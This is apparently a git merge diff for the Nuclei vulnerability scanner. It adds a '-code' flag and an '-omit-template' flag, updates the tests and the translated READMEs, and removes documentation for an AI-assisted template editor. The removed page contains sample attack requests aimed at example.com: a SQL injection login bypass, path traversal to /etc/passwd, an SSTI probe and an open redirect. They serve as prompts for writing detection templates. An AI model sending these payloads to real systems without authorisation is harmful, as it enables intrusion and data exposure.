Merge branch 'dev'
@ -133,6 +133,8 @@ TEMPLATES:
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
@ -157,8 +159,9 @@ OUTPUT:
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
|
||||
24
README_CN.md
@ -100,17 +100,19 @@ Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板
|
||||
-iv, -ip-version string[] 要扫描的主机名的IP版本(4,6)-(默认为4)
|
||||
|
||||
模板:
|
||||
-nt, -new-templates 只扫描最新nuclei-templates版本中添加的模板
|
||||
-ntv, -new-templates-version string[] 运行在特定nuclei-templates版本中添加的新模板
|
||||
-as, -automatic-scan 在web扫描中使用wappalyzer技术检测的指纹找包含对应tags的模板
|
||||
-t, -templates string[] 指定需要扫描的模板文件或者模板目录(逗号分隔,文件)
|
||||
-tu, -template-url string[] 从URL加载模板(逗号分隔,文件)
|
||||
-w, -workflows string[] 指定需要扫描中的工作流文件或者工作流目录(逗号分隔,文件)
|
||||
-wu, -workflow-url string[] 从URL加载工作流(逗号分隔,文件)
|
||||
-validate 验证模板
|
||||
-nss, -no-strict-syntax 禁用对模板的严格语法检查
|
||||
-td, -template-display 显示模板内容
|
||||
-tl 列出所有可用的模板
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
|
||||
过滤:
|
||||
-a, -author string[] 执行指定作者的模板(逗号分隔,文件)
|
||||
|
||||
@ -105,13 +105,15 @@ TEMPLATES:
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-tu, -template-url string[] list of template urls to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
|
||||
22
README_KR.md
@ -98,15 +98,19 @@ TARGET:
|
||||
-resume string resume.cfg를 사용한 스캔 재개(클러스터링이 비활성화됨)
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates nuclei-templates에 가장 최근에 추가된 새 템플릿만 실행
|
||||
-as, -automatic-scan 태그 매핑에 대한 wappalyzer 기술 탐지를 사용한 자동 웹 스캔
|
||||
-t, -templates string[] 실행할 템플릿 또는 템플릿 디렉터리 목록(쉼표로 구분된 파일)
|
||||
-tu, -template-url string[] 실행할 템플릿 URL 목록(쉼표로 구분된 파일)
|
||||
-w, -workflows string[] 실행할 워크플로 또는 워크플로 디렉터리 목록(쉼표로 구분된 파일)
|
||||
-wu, -workflow-url string[] 실행할 워크플로 URL 목록(쉼표로 구분된 파일)
|
||||
-validate nuclei로 전달된 템플릿 검증
|
||||
-tl 사용 가능한 모든 템플릿 목록
|
||||
-td 템플릿 내용 표시
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] 작성자를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
|
||||
|
||||
@ -1390,12 +1390,12 @@ Valid values:
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>cookie-reuse</code> <i>bool</i>
|
||||
<code>disable-cookie</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
CookieReuse is an optional setting that enables cookie reuse for
|
||||
DisableCookie is an optional setting that disables cookie reuse for
|
||||
all requests defined in raw section.
|
||||
|
||||
</div>
|
||||
@ -2881,12 +2881,12 @@ Fuzzing describes schema to fuzz headless requests
|
||||
|
||||
<div class="dd">
|
||||
|
||||
<code>cookie-reuse</code> <i>bool</i>
|
||||
<code>disable-cookie</code> <i>bool</i>
|
||||
|
||||
</div>
|
||||
<div class="dt">
|
||||
|
||||
CookieReuse is an optional setting that enables cookie reuse
|
||||
DisableCookie is an optional setting that disables cookie reuse
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
@ -87,7 +87,7 @@ type codeSnippet struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeSnippet) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -98,7 +98,7 @@ type codeFile struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeFile) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -109,7 +109,7 @@ type codeEnvVar struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codeEnvVar) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-V", "baz=baz")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-V", "baz=baz", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@ -120,7 +120,7 @@ type unsignedCode struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *unsignedCode) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
|
||||
// should error out
|
||||
if err != nil {
|
||||
@ -135,7 +135,7 @@ type codePyNoSig struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *codePyNoSig) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input")
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, getEnvValues(), "-t", filePath, "-u", "input", "-code")
|
||||
|
||||
// should error out
|
||||
if err != nil {
|
||||
|
||||
@ -75,12 +75,6 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
}
|
||||
defer reportingClient.Close()
|
||||
|
||||
outputWriter := testutils.NewMockOutputWriter()
|
||||
var results []string
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
results = append(results, fmt.Sprintf("%v\n", event))
|
||||
}
|
||||
|
||||
defaultOpts := types.DefaultOptions()
|
||||
_ = protocolstate.Init(defaultOpts)
|
||||
_ = protocolinit.Init(defaultOpts)
|
||||
@ -88,6 +82,12 @@ func executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error)
|
||||
defaultOpts.Templates = goflags.StringSlice{templatePath}
|
||||
defaultOpts.ExcludeTags = config.ReadIgnoreFile().Tags
|
||||
|
||||
outputWriter := testutils.NewMockOutputWriter(defaultOpts.OmitTemplate)
|
||||
var results []string
|
||||
outputWriter.WriteCallback = func(event *output.ResultEvent) {
|
||||
results = append(results, fmt.Sprintf("%v\n", event))
|
||||
}
|
||||
|
||||
interactOpts := interactsh.DefaultOptions(outputWriter, reportingClient, mockProgress)
|
||||
interactClient, err := interactsh.New(interactOpts)
|
||||
if err != nil {
|
||||
|
||||
@ -12,6 +12,8 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
_ "github.com/projectdiscovery/utils/pprof"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
@ -194,6 +196,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"),
|
||||
flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"templates.nuclei.sh"}, "allowed domain list to load remote templates from"),
|
||||
flagSet.BoolVar(&options.SignTemplates, "sign", false, "signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable"),
|
||||
flagSet.BoolVar(&options.EnableCodeTemplates, "code", false, "enable loading code protocol-based templates"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("filters", "Filtering",
|
||||
@ -222,6 +225,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.JSONL, "jsonl", "j", false, "write output in JSONL(ines) format"),
|
||||
flagSet.BoolVarP(&options.JSONRequests, "include-rr", "irr", true, "include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use `-omit-raw`]"),
|
||||
flagSet.BoolVarP(&options.OmitRawRequests, "omit-raw", "or", false, "omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)"),
|
||||
flagSet.BoolVarP(&options.OmitTemplate, "omit-template", "ot", false, "omit encoded template in the JSON, JSONL output"),
|
||||
flagSet.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "disable printing result metadata in cli output"),
|
||||
flagSet.BoolVarP(&options.Timestamp, "timestamp", "ts", false, "enables printing timestamp in cli output"),
|
||||
flagSet.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "nuclei reporting database (always use this to persist report data)"),
|
||||
|
||||
@ -68,6 +68,7 @@ func init() {
|
||||
defaultOpts := types.DefaultOptions()
|
||||
// need to set headless to true for headless templates
|
||||
defaultOpts.Headless = true
|
||||
defaultOpts.EnableCodeTemplates = true
|
||||
if err := protocolstate.Init(defaultOpts); err != nil {
|
||||
gologger.Fatal().Msgf("Could not initialize protocol state: %s\n", err)
|
||||
}
|
||||
|
||||
@ -1,265 +0,0 @@
|
||||
---
|
||||
|
||||
title: 'AI Assistance'
|
||||
|
||||
---
|
||||
|
||||
<img src="/images/ai.jpg" alt="AI Prompt" width="800px"/>
|
||||
|
||||
[Nuclei Template Editor](https://templates.nuclei.sh/) has AI to generate templates for vulnerability reports. This document helps to guide you through the process, offering you usage tips and examples.
|
||||
|
||||
## Overview
|
||||
|
||||
Powered by public Nuclei templates and a rich CVE data set, the AI understands a broad array of security vulnerabilities. First, the system interprets the user's prompt to identify a specific vulnerability. Then, it generates a template based on the steps required to reproduce the vulnerability along with all the necessary meta information to reproduce and remediate.
|
||||
|
||||
---
|
||||
|
||||
## Initial Setup
|
||||
|
||||
Kick start your AI Assistance experience with these steps:
|
||||
|
||||
1. **Provide Detailed Information**: Construct comprehensive Proof of Concepts (PoCs) for vulnerabilities like Cross-Site Scripting (XSS), and others.
|
||||
2. **Understand the Template Format**: Get to grips with the format to appropriately handle and modify the generated template.
|
||||
3. **Validation and Linting**: Utilize the integrated linter to guarantee the template's validity.
|
||||
4. **Test the Template**: Evaluate the template against a test target ensuring its accuracy.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
* **Precision Matters**: Detailed prompts yield superior templates.
|
||||
* **Review and Validate**: Consistently check matchers' accuracy.
|
||||
* **Template Verification**: Validate the template on known vulnerable targets before deployment.
|
||||
---
|
||||
|
||||
## Example Prompts
|
||||
|
||||
The following examples demonstrate different vulnerabilities and the corresponding Prompt.
|
||||
|
||||
<Accordion title="Vulnerability: Open Redirect">
|
||||
|
||||
Open redirect vulnerability identified in a web application. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
GET /redirect?url=http://malicious.com HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 302 Found
|
||||
Location: http://malicious.com
|
||||
Content-Length: 0
|
||||
Server: Apache
|
||||
```
|
||||
The application redirects the user to the URL specified in the url parameter, leading to an open redirect vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: SQL Injection">
|
||||
|
||||
SQL Injection vulnerability in a login form. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
POST /login HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
username=admin&password=' OR '1'='1
|
||||
```
|
||||
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Welcome back, admin</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application improperly handles user input in the password field, leading to an SQL Injection vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Business logic (negative cart balance)">
|
||||
|
||||
Business Logic vulnerability in a web application's shopping cart function allows for negative quantities, leading to credit. Here's the PoC:
|
||||
|
||||
HTTP Request:
|
||||
|
||||
```
|
||||
POST /add-to-cart HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
product_id=1001&quantity=-1
|
||||
```
|
||||
|
||||
HTTP Response:
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Product added to cart. Current balance: -$19.99</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application fails to validate the quantity parameter, resulting in a Business Logic vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Server-side Template Injection (SSTI)">
|
||||
|
||||
Server-side Template Injection (SSTI) vulnerability through a web application's custom greeting card function. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
POST /create-card HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
message={{7*7}}
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Your card: 49</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application processes the message parameter as a template, leading to an SSTI vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Insecure Direct Object Reference (IDOR)">
|
||||
|
||||
Insecure Direct Object Reference (IDOR) vulnerability discovered in a website's user profile page. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
GET /profile?id=2 HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Cookie: session=abcd1234
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
...
|
||||
<p>Welcome, otheruser</p>
|
||||
...
|
||||
</html>
|
||||
```
|
||||
|
||||
The application exposes sensitive information of a user (ID: 2) who is not the authenticated user (session: abcd1234), leading to an IDOR vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Path Traversal">
|
||||
|
||||
Path Traversal vulnerability identified in a web application's file download function. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
GET /download?file=../../etc/passwd HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
Content-Length: 1827
|
||||
Server: Apache
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
The application fetches the file specified in the file parameter from the server file system, leading to a Path Traversal vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Vulnerability: Business logic (extend VIP subscription)">
|
||||
|
||||
Business logic vulnerability in a web application's VIP subscription function allows users to extend the trial period indefinitely. Here's the PoC:
|
||||
|
||||
```
|
||||
HTTP Request:
|
||||
|
||||
POST /extend-trial HTTP/1.1
|
||||
Host: example.com
|
||||
User-Agent: Mozilla/5.0
|
||||
Cookie: session=abcd1234
|
||||
```
|
||||
|
||||
```
|
||||
HTTP Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 1337
|
||||
Server: Apache
|
||||
|
||||
<html>
|
||||
|
||||
<p>Your VIP trial period has been extended by 7 days.</p>
|
||||
|
||||
</html>
|
||||
```
|
||||
|
||||
The application does not limit the number of times the trial period can be extended, leading to a business logic vulnerability.
|
||||
|
||||
</Accordion>
|
||||
|
||||
Each of these examples provides HTTP Requests and Responses to illustrate the vulnerabilities.
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
Please note that the current AI is trained primarily on HTTP data. Template generation for non-HTTP protocols is not supported at this time. Support for additional protocols is under development and will be available soon.
|
||||
|
||||
---
|
||||
@ -1,17 +0,0 @@
|
||||
---
|
||||
title: "Generate Template (AI)"
|
||||
description: "Generate nuclei template using AI prompt"
|
||||
api: "POST https://templates-api.nuclei.sh/v1/template/user/generate"
|
||||
version: 'v1'
|
||||
---
|
||||
|
||||
|
||||
## Parameters (required)
|
||||
|
||||
<ParamField body="prompt" type="string" required>
|
||||
AI Prompt to generate nuclei template
|
||||
</ParamField>
|
||||
|
||||
<ParamField body="model" type="string" default="gpt-4" required>
|
||||
OpenAI model to use
|
||||
</ParamField>
|
||||
@ -1,20 +0,0 @@
|
||||
---
|
||||
title: "Scan Template"
|
||||
description: "Scan target host using a specified nuclei template."
|
||||
api: "POST https://templates-api.nuclei.sh/v1/template/user/scan"
|
||||
version: 'v1'
|
||||
---
|
||||
|
||||
## Parameters (required)
|
||||
|
||||
<ParamField body="target" type="string" required>
|
||||
Target host to scan using nuclei template.
|
||||
|
||||
**Constraints**: Valid hostname or IP address or URL.
|
||||
</ParamField>
|
||||
|
||||
<ParamField body="template_base64" type="string" required>
|
||||
Base64 encoded nuclei template.
|
||||
|
||||
**Constraints**: Valid Base64 encoded template.
|
||||
</ParamField>
|
||||
@ -1,43 +0,0 @@
|
||||
---
|
||||
title: 'Introduction'
|
||||
---
|
||||
|
||||

|
||||
|
||||
[Nuclei Template Editor](https://templates.nuclei.sh) is a multi-functional cloud hosted tool designed for creating, running, and sharing Nuclei Templates. It's packed with helpful features for individual and professional users seeking to manage and execute templates.
|
||||
|
||||
The following table showcases the current and upcoming features:
|
||||
|
||||
| Feature | Description and Use | Availability |
|
||||
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- |
|
||||
| **Editor** | Experience something akin to using VS Code with our integrated editor, built on top of Monaco. This feature allows easy writing and modification of Nuclei Templates. | Free |
|
||||
| **Optimizer** | Leverage the in-built TemplateMan API to automatically lint, format, validate, and enhance your Nuclei Templates. | Free |
|
||||
| **Scan (URL)** | Run your templates on a targeted URL to check their validity. | Free \* |
|
||||
| **Debugger** | Utilize the in-built debugging function that displays requests and responses of your template scans, aiding troubleshooting and understanding template behavior. | Free |
|
||||
| **Cloud Storage** | Store and access your Nuclei Templates securely anytime, anywhere using your account. | Free |
|
||||
| **Sharing** | Share your templates for better collaboration by generating untraceable unique links. | Free |
|
||||
| **AI-Assistance** | Employ AI to craft Nuclei Templates based on the context of specified vulnerabilities. This feature simplifies template creation and tailors them to minimize the time required for creation. | Free \* |
|
||||
| **Scan (LIST, CIDR, ASN)**| In the professional version, run scans on target lists, network ranges (CIDR), AS numbers (ASN). | Professional `(upcoming)` |
|
||||
| **REST API** | In the professional version, fetch templates, call the AI, and perform scans remotely using APIs. | Professional `(upcoming)` |
|
||||
| **PDCP Sync** | Sync your generated templates with the ProjectDiscovery Cloud Platform for easy access and management, available in the professional version. | Professional `(upcoming)` |
|
||||
|
||||
## Free Feature Limitations
|
||||
|
||||
Some features available within the free tier have usage caps in place:
|
||||
|
||||
- **Scan (URL):** You're allowed up to **100** scans daily.
|
||||
- **AI-Assistance:** Up to **10** queries can be made each day.
|
||||
|
||||
The limitations, reset daily, ensure system integrity and availability while providing access to key functions.
|
||||
|
||||
***
|
||||
## How to Get Started
|
||||
|
||||
Begin by ensuring you have an account. If not, sign up on [https://templates.nuclei.sh](https://templates.nuclei.sh/) and follow the steps below:
|
||||
|
||||
1. Log in to your account at [https://templates.nuclei.sh](https://templates.nuclei.sh).
|
||||
2. Click on the "**Create new template**" button to open up a fresh editor.
|
||||
3. Write and modify your template. The editor avails tools like syntax highlighting, snippet suggestion, among other features to simplify your writing process.
|
||||
4. Having written your template, input your testing target and click the "**Scan**" button to authenticate your template's accuracy.
|
||||
|
||||
<iframe src="https://templates.nuclei.sh/public/CVE-2023-0297" width="700px" height="700px"></iframe>
|
||||
@ -1,23 +0,0 @@
|
||||
---
|
||||
title: 'Template Share'
|
||||
---
|
||||
|
||||
Nuclei Template Editor offers the ability to share any public templates, including the ones you create.
|
||||
|
||||
<img src="/images/share-template.jpg" alt="Share Template" width="800px" />
|
||||
|
||||
To share a template, click on the "Share" button which generates a link that can be sent to others.
|
||||
|
||||
## How to Share Public Templates
|
||||
|
||||
Public templates are designed for ease of sharing. You don't need to be authenticated to share them, meaning there's no need to log in. These templates are mapped with their Template ID, following a static URL pattern. For instance, a public template URL might resemble this: [https://templates.nuclei.sh/public/CVE-2023-35078](https://templates.nuclei.sh/public/CVE-2023-35078). In the given URL, `CVE-2023-35078` is the Template ID representing the template in the [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) project.
|
||||
|
||||
## How to Share User Templates
|
||||
|
||||
User templates, unlike public templates, require authentication for sharing. These templates are assigned a unique, UUID-based ID similar to YouTube's unlisted URLs for sharing purposes. This means anyone given the shared URL will be able to access the template.
|
||||
|
||||
## Revoking Access to Shared Templates
|
||||
|
||||
If at any point you want to limit the access to the shared template, it is as simple as changing the visibility of the template to private. After this change, the originally shared link will become inactive. However, you have the flexibility to share it again, which would generate a new unique ID.
|
||||
|
||||
Please remember, while sharing is easy, it's important to distribute the URL cautiously as the link allows full access to the shared template.
|
||||
@ -1,20 +0,0 @@
|
||||
---
|
||||
title: 'Editor Shortcut'
|
||||
---
|
||||
|
||||
Nuclei Template Editor is equipped with keyboard shortcuts to make your work process more efficient. You can utilize these shortcuts whether you're creating a new template or optimizing an existing one, enabling quicker actions without interfering with your workflow.
|
||||
|
||||
Here is a list of the actions, along with their corresponding shortcut keys and descriptions:
|
||||
|
||||
| **Action** | **Shortcut Key** | **Description** |
|
||||
| ---------------------- | ----------------------- | ----------------------------------------------------- |
|
||||
| Save Template | **CMD + S** | Saves the current template. |
|
||||
| Duplicate Template | **CMD + D** | Creates a copy of a public template. |
|
||||
| Execute Template | **CMD + SHIFT + SPACE** | Run a scan with the current template. |
|
||||
| Share Template Link | **ALT + SHIFT + SPACE** | Generates a URL for sharing the current template. |
|
||||
| Search Templates | **CMD + K** | Searches within your own templates. |
|
||||
| Copy Template | **CMD + SHIFT + C** | Copies the selected template to your clipboard. |
|
||||
| Show/Hide Side Bar | **CMD + B** | Toggles the visibility of the side bar. |
|
||||
| Show/Hide Debug Panel | **CMD + SHIFT + M** | Toggles the visibility of the debug panel for extra insight. |
|
||||
|
||||
**Note:** For Mac users, the CMD key is used for these shortcuts. Non-Mac users (Windows and Linux) should use the CTRL key instead.
|
||||
@ -1,12 +0,0 @@
|
||||
---
|
||||
title: 'Editor'
|
||||
---
|
||||
|
||||
### **Q: Who owns the templates generated by the AI?**
|
||||
**A:** You own any templates generated by the AI through the Nuclei Templates Editor. They are your property, and you are granted a perpetual license to use and modify them as you see fit.
|
||||
|
||||
### **Q: How accurate are the templates generated by the AI?**
|
||||
**A:** The accuracy of the generated templates is primarily dependent on the detail and specificity of the input you provide. The more detailed information you supply, the better the AI can understand the context and create an accurate template. However, as with any AI tool, it is highly recommended to review, validate, and test any generated templates before using them in a live environment.
|
||||
|
||||
### **Q: Does AI learn from the templates I generate?**
|
||||
**A:** No, AI does not use the templates you generate for further training or improvement of the AI model. The system only utilizes public templates and CVE data for training, ensuring your unique templates remain confidential.
|
||||
@ -1,130 +0,0 @@
|
||||
---
|
||||
title: "Nuclei"
|
||||
---
|
||||
|
||||
<AccordionGroup>
|
||||
<Accordion title="What is nuclei?" icon="circle-info" iconType="solid">
|
||||
Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.
|
||||
|
||||
It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What was the genesis behind nuclei?" icon="circle-info" iconType="solid">
|
||||
Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.
|
||||
|
||||
We wanted something simple enough to be used by _**everyone**_ while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What modules does nuclei engine support?" icon="circle-info" iconType="solid">
|
||||
Nuclei engine supports the following type of modules.
|
||||
|
||||
- [HTTP](/template-guide/http/base-http/)
|
||||
- [DNS](/template-guide/dns/)
|
||||
- [TCP](/template-guide/network/)
|
||||
- [FILE](/template-guide/file/)
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="What kind of scans can I perform with nuclei?" icon="circle-info" iconType="solid">
|
||||
Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How well-maintained is this project?" icon="circle-info" iconType="solid">
|
||||
The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="How can I support/contribute to this project? 💙" icon="fire-flame-curved" iconType="solid">
|
||||
